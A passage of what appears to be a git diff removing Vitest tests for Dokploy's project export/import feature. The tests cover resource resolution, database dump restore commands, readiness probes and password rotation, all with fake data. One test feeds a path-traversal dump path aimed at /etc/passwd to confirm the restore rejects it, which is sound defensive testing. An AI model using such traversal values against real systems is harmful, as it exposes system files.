kind: "certificate",
originalId: "cert-src",
configIncluded: false,
usedBy: [],
fingerprint: CERT_FINGERPRINT,
serverId: null,
};
const serverRequirement: Requirement = {
kind: "server",
originalId: "server-src",
configIncluded: false,
usedBy: [],
};
const requirements: Requirement[] = [
vaultRequirement,
gitProviderRequirement,
destinationRequirement,
registryRequirement,
sshKeyRequirement,
networkRequirement,
certificateRequirement,
serverRequirement,
];
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: { project: {}, environments: [], services: [], shared: {} },
requirements,
warnings: [],
dumps: [],
};
const fakeDb = (): TransferDb =>
({
query: {
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-dest-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-dest",
},
],
},
gitProvider: {
findMany: async () => [
{
gitProviderId: "gh-dest-1",
name: "Acme GitHub",
providerType: "github",
organizationId: "org-dest",
},
],
},
destinations: { findMany: async () => [] },
registry: {
findMany: async () => [
{
registryId: "reg-dest-1",
registryName: "Acme Registry",
registryUrl: "https://other.example.com",
imagePrefix: "other",
organizationId: "org-dest",
},
],
},
sshKeys: {
findMany: async () => [
{
sshKeyId: "key-dest-1",
name: "deploy key",
publicKey: "ssh-ed25519 AAAAtest",
organizationId: "org-dest",
},
],
},
network: {
findMany: async () => [
{
networkId: "net-dest-1",
name: "other-network",
organizationId: "org-dest",
},
],
},
certificates: { findMany: async () => [] },
server: {
findMany: async () => [
{
serverId: "server-dest-1",
name: "prod-server",
organizationId: "org-dest",
},
],
},
},
}) as any as TransferDb;
describe("proposeResolutions", () => {
it("resolves vault by name + providerType match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(vaultRequirement)]).toEqual({
status: "resolved",
targetId: "vault-dest-1",
});
});
it("never auto-resolves gitProvider, always mappable/missing by type", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(gitProviderRequirement)]).toEqual({
status: "mappable",
candidates: [{ id: "gh-dest-1", name: "Acme GitHub" }],
});
});
it("proposes createable for destination when configIncluded and no match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(destinationRequirement)]).toEqual({
status: "createable",
candidates: [],
});
});
it("proposes createable for registry with existing-org candidates attached when no exact match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(registryRequirement)]).toEqual({
status: "createable",
candidates: [{ id: "reg-dest-1", name: "Acme Registry" }],
});
});
it("resolves sshKey by exact publicKey match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(sshKeyRequirement)]).toEqual({
status: "resolved",
targetId: "key-dest-1",
});
});
it("proposes mappable for network when configIncluded is false and no exact match but candidates exist", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(networkRequirement)]).toEqual({
status: "mappable",
candidates: [{ id: "net-dest-1", name: "other-network" }],
});
});
it("resolves certificate by recomputed fingerprint match", async () => {
const withMatchingCert: TransferDb = {
query: {
...(fakeDb() as any).query,
certificates: {
findMany: async () => [
{
certificateId: "cert-dest-1",
name: "prod cert",
certificateData: "cert-data-1",
organizationId: "org-dest",
},
],
},
},
} as any;
const result = await proposeResolutions(
withMatchingCert,
snapshot,
"org-dest",
);
expect(result[requirementKey(certificateRequirement)]).toEqual({
status: "resolved",
targetId: "cert-dest-1",
});
});
it("proposes missing for certificate when no fingerprint match and configIncluded is false", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(certificateRequirement)]).toEqual({
status: "missing",
});
});
it("is always mappable for server, offering the local-server sentinel alongside org servers", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(serverRequirement)]).toEqual({
status: "mappable",
candidates: [
{ id: LOCAL_SERVER_CANDIDATE_ID, name: "Local server" },
{ id: "server-dest-1", name: "prod-server" },
],
});
});
});
@@ -1,368 +0,0 @@
import type {
Snapshot,
TransferDb,
TransferResult,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it, vi } from "vitest";
const { failRestoreBox } = vi.hoisted(() => ({
failRestoreBox: { value: false },
}));
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsync: vi.fn(async (command: string) => {
if (command.includes("pg_restore") && failRestoreBox.value) {
throw new Error("restore failed");
}
return { stdout: "", stderr: "" };
}),
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
};
});
vi.mock(
"@dokploy/server/services/project-export-import/remote-fs",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import/remote-fs")
>();
return {
...actual,
copyFile: vi.fn(async () => {}),
remove: vi.fn(async () => {}),
};
},
);
const {
restoreDumps,
buildRestoreCommand,
buildWaitReadyScript,
buildReadyProbe,
waitUntilReady,
} = await import("@dokploy/server/services/project-export-import");
const { remove, copyFile } = await import(
"@dokploy/server/services/project-export-import/remote-fs"
);
describe("buildRestoreCommand", () => {
it("pipes decompressed bytes into the restore command for postgres", () => {
const command = buildRestoreCommand(
"postgres",
{
appName: "my-db-abc123",
databaseName: "mydb",
databaseUser: "dokploy",
},
"/tmp/dokploy-import-restore-pg-1.sql.gz",
);
expect(command).toContain(
"gunzip -c '/tmp/dokploy-import-restore-pg-1.sql.gz'",
);
expect(command).toContain("pg_restore");
expect(command).toContain("my-db-abc123");
});
it("uses the mysql root password, not databasePassword, for the restore command", () => {
const command = buildRestoreCommand(
"mysql",
{
appName: "my-mysql-abc123",
databaseName: "mydb",
databasePassword: "not-the-root-password",
databaseRootPassword: "the-real-root-password",
},
"/tmp/dokploy-import-restore-mysql-1.sql.gz",
);
expect(command).toContain("the-real-root-password");
expect(command).not.toContain("not-the-root-password");
});
it("strips USE/CREATE DATABASE statements for mariadb (multi-db dump safety)", () => {
const command = buildRestoreCommand(
"mariadb",
{
appName: "my-mariadb-abc123",
databaseName: "mydb",
databaseUser: "dokploy",
databasePassword: "pass",
},
"/tmp/dokploy-import-restore-mariadb-1.sql.gz",
);
expect(command).toContain("grep -viE");
});
it("restores the whole mongo archive through stdin, skipping admin/config, with --drop", () => {
const command = buildRestoreCommand(
"mongo",
{
appName: "my-mongo-abc123",
databaseUser: "dokploy",
databasePassword: "pass",
},
"/tmp/dokploy-import-restore-mongo-1.archive.gz",
);
expect(command).toContain(
'mongorestore -u "$DB_USER" -p "$DB_PASS" --authenticationDatabase admin --nsExclude "admin.*" --nsExclude "config.*" --archive --gzip --drop',
);
expect(command).toContain(
"< '/tmp/dokploy-import-restore-mongo-1.archive.gz'",
);
expect(command).not.toContain("--db");
});
});
describe("buildRestoreCommand for libsql", () => {
it("replaces sqld's data directory from the tarball and restarts the service", () => {
const command = buildRestoreCommand(
"libsql",
{ appName: "my-libsql-abc123" },
"/tmp/dokploy-import-restore-l.tar.gz",
);
expect(command).toContain(
"rm -rf /var/lib/sqld/iku.db && tar xzf - -C /var/lib/sqld",
);
expect(command).toContain("< '/tmp/dokploy-import-restore-l.tar.gz'");
expect(command).toContain(
"docker service update --force 'my-libsql-abc123'",
);
});
});
describe("buildReadyProbe", () => {
it("runs a credentialed query rather than a liveness ping", () => {
expect(
buildReadyProbe("postgres", { databaseUser: "u", databaseName: "d" }),
).toBe('psql -U u -d d -tAc "SELECT 1"');
expect(
buildReadyProbe("mysql", { databaseRootPassword: "r00t" }),
).toContain("mysql -uroot --password=r00t");
expect(
buildReadyProbe("mariadb", { databaseUser: "u", databasePassword: "p" }),
).toContain("mariadb -uu --password=p");
expect(
buildReadyProbe("mongo", {
databaseUser: "u",
databasePassword: "p",
databaseName: "d",
}),
).toContain(
'then mongosh --quiet -u u -p p --authenticationDatabase admin --eval "db.adminCommand({ping: 1}).ok"; else mongo ',
);
});
});
describe("waitUntilReady", () => {
it("needs consecutive successes so a first-init throwaway server doesn't count", async () => {
const { execAsync } = await import(
"@dokploy/server/utils/process/execAsync"
);
const previous = (execAsync as any).getMockImplementation();
const outcomes = [true, true, false, true, true, true];
let calls = 0;
(execAsync as any).mockImplementation(async (command: string) => {
if (!command.includes("SELECT 1")) return { stdout: "", stderr: "" };
const ok = outcomes[calls++] ?? true;
if (!ok) throw new Error("the database system is shutting down");
return { stdout: "1", stderr: "" };
});
try {
await waitUntilReady(null, "db-app", 'psql -tAc "SELECT 1"', {
intervalMs: 0,
stableSuccesses: 3,
});
} finally {
(execAsync as any).mockImplementation(previous);
}
expect(calls).toBe(6);
});
});
describe("buildWaitReadyScript", () => {
it("guards against an empty CONTAINER_ID before exec'ing the probe", () => {
const script = buildWaitReadyScript("my-db-abc123", "pg_isready");
expect(script).toContain('if [ -z "$CONTAINER_ID" ]; then exit 1; fi');
expect(script).toContain("docker exec");
expect(script).toContain("pg_isready");
});
});
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {},
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "dumps/pg-1.sql.gz",
bytes: 100,
},
],
};
const dbFor = (): TransferDb =>
({
query: {
postgres: {
findFirst: async () => ({
postgresId: "pg-new-1",
appName: "my-db-new-1",
databaseName: "mydb",
databaseUser: "dokploy",
databasePassword: "p",
serverId: null,
}),
},
destinations: { findFirst: async () => undefined },
},
}) as any as TransferDb;
const resultFor = (): TransferResult =>
({
idMap: { postgres: { "pg-1": "pg-new-1" } },
}) as any as TransferResult;
describe("restoreDumps uses the workspace dump directly when it already sits on the target server", () => {
it("neither copies nor removes anything and restores from the workspace path", async () => {
failRestoreBox.value = false;
vi.mocked(remove).mockClear();
vi.mocked(copyFile).mockClear();
const errors = await restoreDumps(
dbFor(),
snapshot,
resultFor(),
{ serverId: null, path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(errors).toHaveLength(0);
expect(copyFile).not.toHaveBeenCalled();
expect(remove).not.toHaveBeenCalled();
});
});
describe("restoreDumps cleans up the copied remote dump file (T-5.8)", () => {
it("removes the remote dump path after a successful restore", async () => {
failRestoreBox.value = false;
vi.mocked(remove).mockClear();
const errors = await restoreDumps(
dbFor(),
snapshot,
resultFor(),
{ serverId: "workspace-server", path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(errors).toHaveLength(0);
expect(remove).toHaveBeenCalledWith({
serverId: null,
path: "/tmp/dokploy-import-restore-pg-new-1.sql.gz",
});
});
it("still removes the remote dump path when the restore command itself fails", async () => {
failRestoreBox.value = true;
vi.mocked(remove).mockClear();
const errors = await restoreDumps(
dbFor(),
snapshot,
resultFor(),
{ serverId: "workspace-server", path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(errors).toHaveLength(1);
expect(remove).toHaveBeenCalledWith({
serverId: null,
path: "/tmp/dokploy-import-restore-pg-new-1.sql.gz",
});
failRestoreBox.value = false;
});
});
describe("restoreDumps rejects an unsafe dump.path (T-9.1)", () => {
it("never copies the dump and reports a restore error for a path-traversal dump.path", async () => {
vi.mocked(copyFile).mockClear();
const maliciousSnapshot: Snapshot = {
...snapshot,
dumps: [
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "../../../../etc/passwd",
bytes: 100,
},
],
};
const errors = await restoreDumps(
dbFor(),
maliciousSnapshot,
resultFor(),
{ serverId: "workspace-server", path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(copyFile).not.toHaveBeenCalled();
expect(errors).toHaveLength(1);
expect(errors[0]?.error).toContain("Unsafe path in bundle");
});
});
@@ -1,583 +0,0 @@
import {
applications,
mounts,
postgres,
projects,
} from "@dokploy/server/db/schema";
import type {
ExportScope,
Plan,
Snapshot,
TransferDb,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
apply,
buildPlan,
buildRotationPlan,
capture,
detectRequirements,
detectWarnings,
rotateText,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
describe("rotateText", () => {
it("replaces both the literal and URL-encoded form of the old password", () => {
const specs = [
{
serviceId: "pg-new-1",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "p@ss",
newPassword: "n3wpass",
},
];
const { text, matched } = rotateText(
"DATABASE_URL=postgres://user:p%40ss@host/db",
specs,
);
expect(text).toBe("DATABASE_URL=postgres://user:n3wpass@host/db");
expect(matched).toHaveLength(1);
expect(matched[0]?.count).toBe(1);
});
it("counts multiple literal occurrences across the text", () => {
const specs = [
{
serviceId: "pg-new-1",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "oldpass",
newPassword: "newpass",
},
];
const { text, matched } = rotateText(
"A=oldpass\nB=oldpass\nC=unrelated",
specs,
);
expect(text).toBe("A=newpass\nB=newpass\nC=unrelated");
expect(matched[0]?.count).toBe(2);
});
it("leaves text untouched and reports no match when the password isn't present", () => {
const specs = [
{
serviceId: "pg-new-1",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "oldpass",
newPassword: "newpass",
},
];
const { text, matched } = rotateText("nothing to see here", specs);
expect(text).toBe("nothing to see here");
expect(matched).toHaveLength(0);
});
it("processes the longer old password first so a short password isn't spliced into a longer, unrelated one", () => {
const specs = [
{
serviceId: "svc-a",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "secret",
newPassword: "A_NEW",
},
{
serviceId: "svc-b",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "mysecret123",
newPassword: "B_NEW",
},
];
const { text } = rotateText(
"A=secret\nB=postgres://u:mysecret123@host/db",
specs,
);
expect(text).toBe("A=A_NEW\nB=postgres://u:B_NEW@host/db");
});
});
describe("buildRotationPlan", () => {
it("gives databasePassword and databaseRootPassword the same new value when the source used the same value for both", async () => {
const tx = {
query: {
mysql: {
findFirst: async () => ({
mysqlId: "mysql-new-1",
databasePassword: "sharedpass",
databaseRootPassword: "sharedpass",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [
{
kind: "mysql",
mysqlId: "mysql-old-1",
},
],
},
} as any;
const serviceIdMap = { mysql: { "mysql-old-1": "mysql-new-1" } };
const { specs } = await buildRotationPlan(tx, snapshot, serviceIdMap);
expect(specs).toHaveLength(2);
const appSpec = specs.find((s) => s.field === "databasePassword");
const rootSpec = specs.find((s) => s.field === "databaseRootPassword");
expect(appSpec?.newPassword).toBeDefined();
expect(appSpec?.newPassword).toBe(rootSpec?.newPassword);
const { text } = rotateText(
"MYSQL_ROOT_PASSWORD=sharedpass\nMYSQL_PASSWORD=sharedpass",
specs,
);
expect(text).toBe(
`MYSQL_ROOT_PASSWORD=${rootSpec?.newPassword}\nMYSQL_PASSWORD=${appSpec?.newPassword}`,
);
});
it("keeps a password that is too short or equal to the user/name and reports it", async () => {
const tx = {
query: {
postgres: {
findFirst: async () => ({
postgresId: "pg-new-1",
databaseUser: "app",
databaseName: "app",
databasePassword: "app",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [
{
kind: "postgres",
postgresId: "pg-old-1",
name: "db",
environmentId: "env-1",
},
],
},
} as any;
const { specs, unsafe } = await buildRotationPlan(tx, snapshot, {
postgres: { "pg-old-1": "pg-new-1" },
});
expect(specs).toHaveLength(0);
expect(unsafe).toEqual([
expect.objectContaining({
serviceId: "pg-new-1",
serviceType: "postgres",
}),
]);
});
it("keeps a mysql service whose root password is too short", async () => {
const tx = {
query: {
mysql: {
findFirst: async () => ({
mysqlId: "my-new-1",
databaseUser: "app",
databaseName: "app",
databasePassword: "long-enough-password",
databaseRootPassword: "1",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [
{
kind: "mysql",
mysqlId: "my-old-1",
name: "db",
environmentId: "env-1",
},
],
},
} as any;
const { specs, unsafe } = await buildRotationPlan(tx, snapshot, {
mysql: { "my-old-1": "my-new-1" },
});
expect(specs).toHaveLength(0);
expect(unsafe).toHaveLength(1);
});
it("still generates independent new passwords when app and root passwords differ", async () => {
const tx = {
query: {
mysql: {
findFirst: async () => ({
mysqlId: "mysql-new-1",
databasePassword: "app-pass",
databaseRootPassword: "root-pass",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [{ kind: "mysql", mysqlId: "mysql-old-1" }],
},
} as any;
const serviceIdMap = { mysql: { "mysql-old-1": "mysql-new-1" } };
const { specs } = await buildRotationPlan(tx, snapshot, serviceIdMap);
const appSpec = specs.find((s) => s.field === "databasePassword");
const rootSpec = specs.find((s) => s.field === "databaseRootPassword");
expect(appSpec?.newPassword).not.toBe(rootSpec?.newPassword);
});
});
const applicationWithDbRef = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DATABASE_URL=postgres://u:realdbpassword123@db/mydb",
buildArgs: "BUILD_DB_PASS=realdbpassword123",
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token",
registryId: null,
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [
{
mountId: "mount-1",
type: "file",
content: "password = realdbpassword123",
mountPath: "/etc/app.conf",
serviceType: "application",
createdAt: "2024-01-01",
},
],
redirects: [],
security: [],
ports: [],
schedules: [],
volumeBackups: [],
};
const applicationWithoutDbRef = {
...applicationWithDbRef,
applicationId: "app-2",
appName: "my-app-two-def456",
name: "my-app-two",
env: "UNRELATED=1",
buildArgs: null,
mounts: [],
};
const postgresService = {
postgresId: "pg-1",
name: "my-db",
appName: "my-db-xyz789",
environmentId: "env-1",
env: "",
databasePassword: "realdbpassword123",
serverId: null,
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-src",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [applicationWithDbRef, applicationWithoutDbRef],
postgres: [postgresService],
...emptyServiceArrays,
},
],
};
const readDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: {
findMany: async () => [applicationWithDbRef, applicationWithoutDbRef],
findFirst: async () => undefined,
},
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: { findMany: async () => [] },
registry: { findMany: async () => [] },
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
gitProvider: { findMany: async () => [] },
server: {
findMany: async () => [],
findFirst: async () => ({ organizationId: "org-dest" }),
},
webServerSettings: { findFirst: async () => undefined },
sshKeys: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const runApplyForRotationTest = async (rotateDatabaseCredentials: boolean) => {
const db = readDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) => detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: baseScope,
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: captureResult.inventory.totals,
},
resources: captureResult.resources,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
};
const plan: Plan = await buildPlan(
db,
snapshot,
"org-dest",
{ kind: "newProject", name: "imported-project" },
{ rotateDatabaseCredentials },
);
const insertedByTable = new Map<unknown, Record<string, unknown>[]>();
let counter = 0;
const idFieldByTable = new Map<unknown, string>([
[projects, "projectId"],
[applications, "applicationId"],
[postgres, "postgresId"],
[mounts, "mountId"],
]);
const environmentsTable = (await import("@dokploy/server/db/schema"))
.environments;
idFieldByTable.set(environmentsTable, "environmentId");
const writeDb = {
query: {
vaultProvider: { findFirst: async () => undefined },
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
applications: {
findFirst: async () => (insertedByTable.get(applications) ?? [])[0],
},
postgres: {
findFirst: async () => (insertedByTable.get(postgres) ?? [])[0],
},
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: {
findMany: async (args?: { where?: unknown }) =>
(insertedByTable.get(mounts) ?? []).filter((row) =>
args?.where ? row.type === "file" : true,
),
},
projects: {
findFirst: async () => (insertedByTable.get(projects) ?? [])[0],
},
environments: {
findFirst: async () =>
(insertedByTable.get(environmentsTable) ?? [])[0],
},
compose: { findFirst: async () => undefined },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const idField = idFieldByTable.get(table);
const row = { ...values };
if (idField) {
row[idField] =
(values[idField] as string | undefined) ??
`new-${idField}-${++counter}`;
}
const list = insertedByTable.get(table) ?? [];
list.push(row);
insertedByTable.set(table, list);
return { returning: async () => [row] };
},
}),
update: (table: unknown) => ({
set: (values: Record<string, unknown>) => ({
where: async (condition: any) => {
const chunks = condition?.queryChunks ?? [];
const paramChunk = chunks.find(
(c: any) => c?.constructor?.name === "Param",
);
const columnChunk = chunks.find(
(c: any) => typeof c?.name === "string",
);
const list = insertedByTable.get(table) ?? [];
for (const row of list) {
if (
!columnChunk ||
!paramChunk ||
row[columnChunk.name] === paramChunk.value
) {
Object.assign(row, values);
}
}
},
}),
}),
transaction: async (fn: (tx: unknown) => Promise<unknown>) => {
return fn({ ...writeDb });
},
} as any as TransferWriteDb;
const result = await apply(
writeDb,
snapshot,
plan,
captureResult.secretsPlain,
"org-dest",
);
return {
result,
insertedPostgres: (insertedByTable.get(postgres) ?? [])[0] as Record<
string,
unknown
>,
insertedApps: insertedByTable.get(applications) ?? [],
insertedMounts: insertedByTable.get(mounts) ?? [],
};
};
describe("apply() with rotateDatabaseCredentials (opt-in)", () => {
it("rotates the postgres password, rewrites the referencing app's env, build args and file mount, and warns about the app with no reference", async () => {
const { result, insertedPostgres, insertedApps, insertedMounts } =
await runApplyForRotationTest(true);
expect(insertedPostgres.databasePassword).not.toBe("realdbpassword123");
expect(typeof insertedPostgres.databasePassword).toBe("string");
const referencingApp = insertedApps.find(
(a) => a.applicationId === result.idMap.application?.["app-1"],
);
const nonReferencingApp = insertedApps.find(
(a) => a.applicationId === result.idMap.application?.["app-2"],
);
expect(String(referencingApp?.env)).toContain(
String(insertedPostgres.databasePassword),
);
expect(String(referencingApp?.env)).not.toContain("realdbpassword123");
expect(String(referencingApp?.buildArgs)).toBe(
`BUILD_DB_PASS=${insertedPostgres.databasePassword}`,
);
expect(String(insertedMounts[0]?.content)).toBe(
`password = ${insertedPostgres.databasePassword}`,
);
expect(String(nonReferencingApp?.env)).toBe("UNRELATED=1");
expect(result.rotations).toHaveLength(1);
expect(result.rotations[0]).toMatchObject({
field: "databasePassword",
occurrences: 3,
});
expect(
result.warnings.some((w) => w.code === "ROTATION_CHECK_CONSUMERS"),
).toBe(true);
});
it("leaves the password untouched when rotateDatabaseCredentials is false (the default)", async () => {
const { result, insertedPostgres, insertedApps } =
await runApplyForRotationTest(false);
expect(insertedPostgres.databasePassword).toBe("realdbpassword123");
const referencingApp = insertedApps.find(
(a) => a.applicationId === result.idMap.application?.["app-1"],
);
expect(String(referencingApp?.env)).toContain("realdbpassword123");
expect(result.rotations).toHaveLength(0);
expect(
result.warnings.some((w) => w.code === "ROTATION_CHECK_CONSUMERS"),
).toBe(false);
});
});
@@ -1,468 +0,0 @@
import { mkdtemp, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import {
applications,
compose,
domains,
mounts,
ports,
projects,
registry,
schedules,
security,
} from "@dokploy/server/db/schema";
import type {
ExportScope,
TransferDb,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
apply,
buildPlan,
capture,
detectRequirements,
detectWarnings,
inspectBundle,
LOCAL_SERVER_CANDIDATE_ID,
serialize,
unlockBundle,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
const application = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token",
registryId: "registry-src-1",
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [
{ domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" },
],
mounts: [
{
mountId: "mount-1",
type: "file",
content: "server { listen 80; }",
mountPath: "/etc/nginx/nginx.conf",
serviceType: "application",
createdAt: "2024-01-01",
},
],
redirects: [],
security: [
{
securityId: "sec-1",
username: "admin",
password: "basicauthpass",
createdAt: "2024-01-01",
},
],
ports: [
{
portId: "port-1",
publishedPort: 8080,
publishMode: "host",
targetPort: 80,
protocol: "tcp",
},
],
schedules: [],
volumeBackups: [],
};
const composeService = {
composeId: "compose-1",
name: "my-compose",
appName: "my-compose-def456",
environmentId: "env-1",
env: "",
serverId: null,
composeFile: "services:\n web:\n image: nginx\n",
sourceType: "raw",
composeType: "docker-compose",
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
backups: [],
schedules: [
{
scheduleId: "schedule-1",
name: "nightly-restart",
cronExpression: "0 0 * * *",
shellType: "bash",
scheduleType: "compose",
command: "docker compose restart",
createdAt: "2024-01-01T00:00:00.000Z",
},
],
volumeBackups: [],
};
const emptyServiceArrays = {
postgres: [],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-src",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application],
compose: [composeService],
...emptyServiceArrays,
},
],
};
const readDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: {
findMany: async () => [application],
findFirst: async () => undefined,
},
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-dest-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-dest",
},
],
},
registry: {
findMany: async () => [
{
registryId: "registry-src-1",
registryName: "Acme",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
username: "user",
password: "pass",
organizationId: "org-src",
},
],
findFirst: async () => ({
registryId: "registry-src-1",
registryName: "Acme",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
username: "user",
password: "pass",
organizationId: "org-src",
}),
},
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
gitProvider: { findMany: async () => [] },
server: {
findMany: async () => [],
findFirst: async () => ({ organizationId: "org-dest" }),
},
webServerSettings: { findFirst: async () => undefined },
sshKeys: { findMany: async () => [] },
domains: { findMany: async () => [] },
postgres: {
findMany: async () => [],
findFirst: async () => undefined,
},
mysql: {
findMany: async () => [],
findFirst: async () => undefined,
},
mariadb: {
findMany: async () => [],
findFirst: async () => undefined,
},
mongo: {
